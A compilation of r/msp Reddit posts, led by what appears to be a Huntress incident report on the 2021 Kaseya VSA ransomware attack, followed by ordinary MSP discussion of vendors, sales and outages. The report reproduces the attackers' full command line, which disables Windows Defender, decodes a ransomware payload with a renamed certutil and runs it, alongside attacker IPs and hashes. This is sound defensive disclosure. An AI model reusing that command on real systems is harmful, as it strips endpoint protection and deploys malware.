r/msp • • Jul 02 '21

Crticial Ransomware Incident in Progress

1.7k Upvotes

We are tracking over 30 MSPs across the US, AUS, EU, and LATAM where Kaseya VSA was used to encrypt well over 1,000 businesses and are working in collaboration with many of them. All of these VSA servers are on-premises and we have confirmed that cybercriminals have exploited an authentication bypass, an arbitrary file upload and code injection vulnerabilities to gain access to these servers. Huntress Security Researcher Caleb Stewart has successfully reproduced attack and released a POC video demonstrating the chain of exploits. Kaseya has also stated:

R&D has replicated the attack vector and is working on mitigating it. We have begun the process of remediating the code and will include regular status updates on our progress starting tomorrow morning.

Our team has been in contact with the Kaseya security team for since July 2 at ~1400 ET. They immediately started taking response actions and feedback from our team as we both learned about the unfolding situation. We appreciated that team's effort and continue to ask everyone to please consider what it's like at Kaseya when you're calling their customer support team. -Kyle

Many partners are asking "What do you do if your RMM is compromised?". This is not the first time hackers have made MSPs into supply chain targets and we recorded a video guide to Surviving a Coordinated Ransomware Attack after 100+ MSP were compromised in 2019. We also hosted a webinar on Tuesday, July 6 at 1pm ET to provide additional information—access the recording here.

Community Help

Huge thanks to those who sent unencrypted Kaseya VSA and Windows Event logs from compromised VSA servers! Our team combed through them until 0430 ET on 3 July. Although we found plenty of interesting indicators, most were classified as "noise of the internet" and we've yet to find a true smoking gun. The most interesting partner detail shared with our team was the use of a procedure named "Archive and Purge Logs" that was used as an anti-forensics technique after all encryption tasks completed.

Many of these ~30 MSP partners do did not have the surge capacity to simultaneously respond to 50+ encrypted businesses at the same time (similar to a local fire department unable to simultaneously respond to 50 burning houses). Please email support[at]huntress.com with estimated availability and skillsets and we'll work to connect you. For all other regions, we sincerely appreciate the outpour of community support to assist them! Well over 50 MSPs have contacted us and we currently have sufficient capacity to help those knee-deep in restoring services.

If you are a MSP who needs help restoring and would like an introduction to someone who has offered their assistance please email support[at]huntress.com

Server Indicators of Compromise

On July 2 around 1030 ET many Kaseya VSA servers were exploited and used to deploy ransomware. Here are the details of the server-side intrusion:

  • Attackers uploaded agent.crt and Screenshot.jpg to exploited VSA servers and this activity can be found in KUpload.log (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).

  • A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in %ProgramData%\Kaseya\Log\KaseyaEdgeServices directory with a file name following this modified ISO8601 naming scheme KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.

  • Attackers came from the following IP addresses using the user agent curl/7.69.1:
    18.223.199[.]234 (Amazon Web Services) discovered by Huntress
    161.35.239[.]148 (Digital Ocean) discovered by TrueSec
    35.226.94[.]113 (Google Cloud) discovered by Kaseya
    162.253.124[.]162 (Sapioterra) discovered by Kaseya
    We've been in contact with the internal hunt teams at AWS and Digital Ocean and have passed information to the FBI Dallas office and relevant intelligence community agencies.

  • The VSA procedure used to deploy the encryptor was named "Kaseya VSA Agent Hot-fix”. An additional procedure named "Archive and Purge Logs" was run to clean up after themselves (screenshot here)

  • The "Kaseya VSA Agent Hot-fix” procedure ran the following: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

Endpoint Indicators of Compromise

  • Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name agent.crt and decoded to agent.exe. TempPath resolves to c:\kworking\agent.exe by default and is configurable within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>

  • When agent.exe runs, the legitimate Windows Defender executable MsMpEng.exe and the encryptor payload mpsvc.dll are dropped into the hardcoded path "c:\Windows" to perform DLL sideloading.

  • The mpsvc.dll Sodinokibi DLL creates the registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter which contains several registry values that store encryptor runtime keys/configurations artifacts.

  • agent.crt - MD5: 939aae3cc456de8964cb182c75a5f8cc - Encoded malicious content

  • agent.exe - MD5: 561cffbaba71a6e8cc1cdceda990ead4 - Decoded contents of agent.crt

  • cert.exe - MD5: <random due to appended string> - Legitimate Windows certutil.exe utility

  • mpsvc.dll - MD5: a47cf00aedf769d60d58bfe00c0b5421- REvil encryptor payload


r/msp • • Apr 11 '22

Business Operations An open letter to Kaseya

1.3k Upvotes

:(


r/msp • • Mar 13 '20

Just had a client tell all of their employees (100+) to take their work computers off of their desks and take them home. They did not talk to us about this in advance.

690 Upvotes

It is more fun because they are on a domain with folder redirection. It is unlikely that any of them will even be able to get online. But if they do get online their stuff is definitely not going to work. We could have set up remote access for most of these employees. I just got off the phone with the client, it was a fun call. They said that we need to figure something out. I told them that I was going to prioritize clients who listen to our advice.

Edit: because a few people are saying "you can just use VPN/logmein/azure AD" etc. This client has tons of remote and home workers already, they have all of the capabilities for their users to work from home. What they don't have is rdp links and vpn configurations on desktops that would normally not need them because they are at the office. What they don't have is a radius server available at their homes. What they don't have is Wireless adapters in their desktop computers. What they don't have is a staff that is capable of taking a computer off a desk, bringing it home and getting it to turn back on. The point is not that this can't be done, the point is that we had about a million better options for this client and we weren't consulted.


r/msp • • Apr 04 '23

Kaseya cut benefits for employees, told folks it was tight times and people need to sacrifice and save money, but spent 117 Million to rename FTX Arena to the Kaseya Center! :(

658 Upvotes

r/msp • • Apr 25 '22

Kaseya employee didn't like my social media posts, and texted my boss.

625 Upvotes

A Kaseya employee tracked me through social media, and texted my boss, because of the bad things I have been saying about Kaseya in posts. So here is your reminder. They got hacked due to ineptitude. They spend more money acquiring businesses than fixing their infrastructure. They lock you into 3 year contracts, because you would be out in 1 or sooner if possible. Their patch management does not work. I could go on and on.


r/msp • • Sep 02 '20

25 years of experience and I just spent 30 minutes trying to diagnose why I couldn't connect to a NAS device I hadn't turned on.

612 Upvotes

Go into computers my father said...


r/msp • • Feb 11 '26

New employee demands "full access to the servers"

610 Upvotes

Just wondering how often this happens to others. it seems to be about every other month for me. I had one of my customers hire a new electrical engineer this week. Yesterday he wanted to see all the "servers" and what they do. Almost everything is cloud for this customer except for Quickbooks which is on a virtual Linux server. As I was going through everything, he seemed pretty clueless about all things IT. He had never heard of Fortinet firewalls and wanted to know about switching it to a Cisco or other "more well known brand ". He was not familiar with virtualization or how it worked. I showed him the web interface for the vmware server and ssh'd into the Linux server, but he kept insisting that I show him the actual server desktop by logging in locally.

This guy is supposed to be writing a webapp for the customer to use in house, but available from the internet for their customerto use. I asked him if he needed a Windows or Linux server and he did not know. I asked if he would need Nginx, Apache or IIS and he didn't know what any of those were. I asked him about Owasp and he had never heard of that. He said he is using AI to write the program.

I am going to talk to the owner today so that should be fun.


r/msp • • Jan 21 '21

Made this while waiting for support to fix an issue

Post image
602 Upvotes

r/msp • • Jul 31 '24

The🔨Drops: Delta to Seek $500M from Crowdstrike and Microsoft.

564 Upvotes

Delta airlines has allegedly lost upwards of $500M from the Crowdstrike fiasco. In response they've hired David Boies to lead the charge against Crowdstrike and Microsoft. This guy is no joke. He previously led the antitrust case against Microsoft back in the day.

This is likely just the opening round of litigation coming from impacted companies. Parametrix estimated total losses to be around $5.4B for Fortune 500 companies. Cyber insurance policies and business interruption policies will likely only cover a portion of that, so we can expect other companies to follow Delta as a measure to satisfy their own shareholders.

After the insurers pay out, we may also see them subrogate the rights of the insureds, and come back against Crowdstrike due to the aggregate of losses paid.

Shareholders have also announced a suit against Crowdstrike and their directors.

And finally, there is a class action claim brewing for SMBs impacted by this event.

I'll be making a video with a knowledgeable attorney on this issue later on, but in the interim, this is going to get spicy and expensive.

On a lighter note, Crowdstrike has blamed UberEats for the $10 cup of coffee fiasco in that so many people were using the voucher that it was automatically flagged by UberEats' fraud detection software.


r/msp • • Jan 10 '25

Business Operations Yearly reminder that Dell is a competitor, not a vendor. Stop feeding them.

549 Upvotes

Yesterday, a client of mine forwarded me an email from a Dell Rep proposing to renew their entire fleet that has their warranty expiring in 2025, that we sold in 2020.

Every year, Dell calls us trying to get us back as a partner saying they don't do that shit anymore.

They still do, they always did, they always will, because it's their official internal policy to do it.

This is a reminder that Dell is a competitor, not a vendor and certainly not a partner of yours.


r/msp • • Feb 25 '21

SSO should be a standard feature for all SaaS applications, not a top tier $1,000 a month addon

528 Upvotes

Thank you for coming to my TedTalk


r/msp • • Apr 12 '25 Polished Gold Turd

Security The Pentagon says it's ending $5.1 billion worth of IT and consulting contracts

514 Upvotes

The US's defense secretary, Pete Hegseth, on Thursday ordered the termination of IT and consulting contracts with companies including Accenture and Deloitte, calling it "wasteful spending."

In a Department of Defense memo, Hegseth said he would cut a Defense Health Agency contract "for consulting services from Accenture, Deloitte, Booz Allen, and other firms that can be performed by our civilian workforce."

Source: https://www.yahoo.com/news/pentagon-just-killed-5-1-015956499.html

Who here’s going to start pitching IT contacts to the Pentagon and how would you handle something of this magnitude? How will this affect the “civilian workforce” security products/services that we depend on as MSP’s if they’re being deployed at this level?


r/msp • • Dec 04 '20

Helping a MSP decide to re-hire, or fire, their salesperson. Lessons to learn from a recent experience.

496 Upvotes

Had a contact/friend from ASCII reach out about their sales person not doing a "Good enough job," and wanted to talk things over via Zoom. I've got quite a bit of experience here, so I was happy to do so. Here's the meat of what I did, what they did, and how things ended up:

Initial call/Zoom:

  • Did the first call, and found the MSP had a quota for the sales person, but wasn't enforcing it at all.

  • Frankly, I thought the quota was pretty fair.

  • Requested list of activities via CRM or however the person tracks time/effort, and was told "Oh it's in Connectwise," only to find hardly any detail. Guess whose fault THAT was? Hint - not the salesperson...

  • Requested follow up call with sales person.

  • Nobody at the MSP has any experience, whatsoever, in managing salespeople.

  • Personal anecdote - no one at the MSP really has any management ability. This is not to be misconstrued with desire or drive.

Second call/Zoom:

  • Started off asking the sales person what his biggest challenges are as to why he's not hitting his numbers. Number one factor was, "Lack of leads." Accountability failure #1.

  • Asked the sales person point blank, "In your opinion, is your company expecting YOU to find leads, or are you expecting them/someone else to find leads for you?"

  • He responded "I don't really know." Leadership failure #1.

  • MSP responded, "That's his job, that's sales." I responded, "That's a gray area, it CAN be sales, but it can also be 'marketing' as well." Leadership failure #2.

  • Asked salesperson why he was consistently short on his outbound call quota. "No one is answering right now due to CV19." I then showed him our numbers, which I posted here a few weeks back showing we had to more than double our efforts to hit our metrics, but we still got them done. "Do you agree your job is to hit your quota with the right amount of effort to deliver those results?" "Yes." "Then this is pretty easy. You didn't care about the quota once things became a bit more difficult, or at least your actions don't suggest you did." "Yes, that's true, I'm sorry." "No need for apology, you're a human being and this has been a crazy year. We're simply trying to figure things out." Accountability failure #2 and ALWAYS the problem with sales people or services that are falling short.

  • To MSP - " Would you agree that you allowed your teammate to fail by not investing time to help him figure out ways to hit his numbers in the face of unusual challenges?" "Yes, that's fair." "Ok, if your 3 year old got into the cabinets and made a mess while you were staring at your phone vs paying attention to them, whose fault is the mess?" "You're right, ours." Leadership failure #3.

  • I asked the two of them to work together to put a plan in place so the management team always knows the weeks efforts from the sales person. Every day is absurd, and will create panic in a person, which tears confidence down which is often one of the key factors in getting a prospect to continue.

The pitch:

  • I had the MSP give the salesperson a bunch of leads in the area, 10 of which were legit, and 1 was us using a VOIP number. The lead was a startup needing the whole shebang; hardware, software, cabling, website, domain/etc. Additionally, "We've received funding and need to get things moving by Jan 1." Basically, what we ALL want to get in terms of leads.

Stats/experience:

  • It took the sales person 7 days to call on this lead.

  • The "Pitch" they gave had nothing to do with the needs we stated, other than "We can do all that."

  • The sales person sounded extremely nervous and not relaxed at all.

  • In all honesty, the pitch sounded like it was from 2010.

  • Zero "Thank you" email.

  • Zero follow up emails. I said I would get back to him, but if I didn't to check back in.

  • Zero follow up phone calls. I said I would get back to him, but if I didn't to check back in.

Ready for the kicker? In 2019, this salesperson brought in 658k of NEW business to their firm. This is in spite of a horrible pitch, no compelling reason to work with them, and a truly lackadaisical process for prospecting, pitching, follow up, and closing. Just imagine how well they'd do if he were trained well and was following a well oiled system?!

Final call:

  • We got back together and told the sales person about the ruse. Needless to say, he came up with every excuse possible. Accountability fail #3.

  • The MSP was furious that this good of a deal had such low priority for the salesperson. Leadership failure #4.

  • During the call, the MSP owner texted me and said, "I'm firing his ass." I responded, "Then fire yourself next, this is YOUR fault." He responded with, "?" I said, "We'll talk."

Follow up with MSP:

  • I explained that by leaving this person out on an island, they'd allowed him to fail, and that's simply unacceptable, and a display of very poor leadership.

  • This person is obviously disenfranchised, and I can imagine why. No wonder they took so long to follow up.

  • I asked about the "System" I requested, and was told, "We've been too busy." "Great, another reason to fire yourself."

  • I told them that any salesperson they'd hire was destined to fail b/c they weren't clear on the job responsibilities, didn't manage the person, didn't have ANY sort of pitch that would compel someone to buy, and won't always fall ass-backwards into 3/4 a mill in new revenue. They got it and sent me the plan 2 days later. Note - it's a great plan.

What you can learn from this:

  • No matter the role, techs/engineers, salesperson, you must have SOP's for their responsibilities, and the expectations.

  • If a techs numbers suck, its the managers/owners job to work with them to make things better, not just complain and threaten. THAT is leadership.

  • If a sales person, OR SERVICE, is falling short, find out if they're getting enough "At bat's" to make a difference. If they are, and no one is buying, find out what this person is saying. Maybe the pitch sucks? Maybe they're not conveying a reason to buy your services. Maybe they sound like the Robbin Robbin letters read. If you're not getting enough at bats, figure out why.

  • Having zero management over ANY role, is going to lead to poor results. All positions in a company have key metadata and characteristics/metrics that can be evaluated to gauge performance. USE THEM.

  • If you are not training BOTH your workers, and your managers on a regular basis, then do NOT expect a change in their results.

  • If you know all this, have read a hundred books, but still haven't implemented it, blame yourself even further, then get off the couch and put yourself to work.

I have never, not once, seen an owner/manager really start "Putting in" to training and developing talent, even run of the mill employees, and not seen terrific returns. People are your most valuable asset; treat them as such. Lead as you wish to be lead. Train as you wish to be trained.

  • Before you fire ANYONE, ask yourself if you've done everything you can to make sure they had every chance to be successful.

HTH someone/anyone here.


r/msp • • Mar 08 '26

Our MSP website is Windows 95 themed and people are loving it

483 Upvotes

So I posted our website in a thread here recently and the reactions were way more than I expected.

Someone called it "both tragic and fucking awesome at the same time." Someone else said they're "going to tell everyone I know about this site." One person said it "made my month." Another said the close and minimize buttons don't work — which, fair.

It's www.limehawk.io. [now at 95.limehawk.io] The whole thing is Windows 95 themed. Nav menu, windows, status bar, all of it. Built with react95, not just a skin.

I grew up on 95 and every MSP site looks the same so I just went with it. Turns out prospects bring it up on sales calls before I even get to pitch. So that's cool.

Anyway figured I'd share since the last thread got a little traction. Happy to answer questions about it.


r/msp • • Apr 11 '22

Just when you thought Kaseya couldn't go even lower... They threatened Huntress for replying :( to the Datto purchase news

475 Upvotes

r/msp • • Dec 30 '20

Theme for today I guess

Post image
475 Upvotes

r/msp • • Mar 03 '21

Mass exploitation of on-prem Exchange servers :(

460 Upvotes

On the afternoon of March 1st, an MSP partner reached out and warned our team about possible undisclosed Exchange vulnerabilities successfully exploiting on-prem servers. We confirmed the activity and Microsoft has since released an initial blog and emergency patches for the vulnerabilities. The purpose of this post is to spread the word that this is being actively exploited in the wild. As of this post, we've discovered 100+ webshells across roughly 1,500 vulnerable servers (AV/EDR installed) and expect this number to keep rising. We'll continue to update this blog with our observations and IOCs to drive awareness.

Edit #1 3/3/2021: Based on the number of support tickets/questions we're getting from this post we've decided to host a webinar tomorrow where we'll go over our findings, what you should be doing, and give you a chance to ask our team questions. Register now to join us Thursday, March 4th at 1:00pm EST.

Edit #2 3/4/2021: You can find the slides from the webinar here.

Edit #3 3/9/2021: Don’t miss Tradecraft Tuesday today! We’ll be taking a look at the tradecraft hackers used during the Microsoft Exchange Server exploit and share new post-exploitation details that you need to know about. https://zoom.us/webinar/register/WN__F1p-Q_mSNG_iAkc5UwW9Q


r/msp • • Dec 18 '22

Please, we are better than this.

445 Upvotes

Rule #4 of this sub applies to comments AND posts.

Earlier today a young naive Kaseya account manager posted a request to the sub asking how they could help all of us. I took the conversation into private chat saying that there isn't much love for Kaseya on the sub. They responded that they got plenty of heat, AND a death threat.

A death threat??? This kid has only been with Kaseya for a few weeks and might already be looking for a new job because of the abuse.

Regardless of our opinions of Kaseya, this was no way to treat a fellow human.


r/msp • • Jul 22 '24

Security Crowdstrike numbers are insane

435 Upvotes

My wife just got to work and in this mornings meeting IT informed everyone that over 20k computers are still in BSOD loops. Fucking insane.

I thought it would take them a week to recover but my god…this could take more than a month.


r/msp • • Jan 15 '26

Business Operations IT infrastructure management issue

428 Upvotes

Hello everyone, my name is Patrick and I'm new here, but I realize that I can't do without advice, so I have to start a discussion.

The thing is, I have a small IT company with an office in Arizona and a dozen remote employees around the world, from Europe to India. Previously, we didn't worry too much about managing our internal infrastructure, as most people worked from company-managed laptops in the office and everything was tightly controlled within a common framework. However, as the staff grew and we needed to hire remotely, we encountered a real problem and a need for external IT infrastructure services management help. We work with sensitive information, but we don't have a single clear way to organize simple and secure processes when half of our staff works remotely around the world and half works from the office =(.

Does anyone have experience with managed IT services for small business that don't cost an arm and a leg? I'm not asking anyone to advertise in the comments, I just want to understand the direction we should be moving in, thank you.


r/msp • • Sep 04 '25

Dell calling our customers made us a Lenovo partner

420 Upvotes

MSP here... over the last two months Dell has called four customers. In one instance they actually called me by mistake and started asking for my customer by name. I asked what this is regards to an they said it was to talk about some new service they provide. I literately said you actually called their Dell partner and asked why are you calling our customers directly.

The rep apologized and just hung up. That was enough for me to ask other friends who run MSP's and they all resell Lenovo. A few of our co-managed customers also buy Lenovo and told me they have no hardware/support issues, so we signed up as a partner (this was a few weeks ago). We have since moved $12k of Lenovo product which would have costed us a few thousand more with Dell for the same thing.

Anyway, Dell booked another meeting with a client, so I figured it was about time to post here.


r/msp • • Apr 04 '26 Bravo

Free MSP toolkit I built for my team, maybe useful for yours

407 Upvotes

I'm a field tech/sysadmin at an MSP. I kept a messy bookmarks folder of random sites for WHOIS lookups, port references, email header parsing, M365 SKU lookups, etc. Got annoyed enough to consolidate everything into one free browser-based toolkit.

https://killertools.net

Everything runs client-side, no login, no ads. It's a static site on GitHub Pages. Has 400+ ports, 293 Windows event IDs, 237 GPO entries, 141 M365 SKUs, format converters, hash tools, and more. I use it every day.

Still actively building it out. Happy to hear what tools you'd want added.


r/msp • • Oct 04 '21

"OMG the internet is down!" -user

403 Upvotes

Nope....just facebook. I was just sent a P1 ticket because three people in an office could not get to Facebook.com FML

Hope everyone is having a great Monday so far.


r/msp • • Apr 09 '25

Dell finally did it to us

401 Upvotes

Got a call this morning from a Dell rep this morning... No problem, I get vendor calls all the time. Not word for word, but pretty close to the jist of it.

"Hi this is Dell, is this [my name]"? "Sure. What's up" "Are you the technical leader at [my client name]"? "Yeah. What's this about?" "I'm your new Dell rep and would like to setup a call to go over your technical needs." "Oh we already have a partner thank you." "Is that Ingram?" "Sure" "No problem, they are a partner of ours. Can we setup that meeting? "Nope"

Glad I signed up with Microsoft and Lenovo to get equipment from now. I really liked Dell, but dam do they treat us wrong.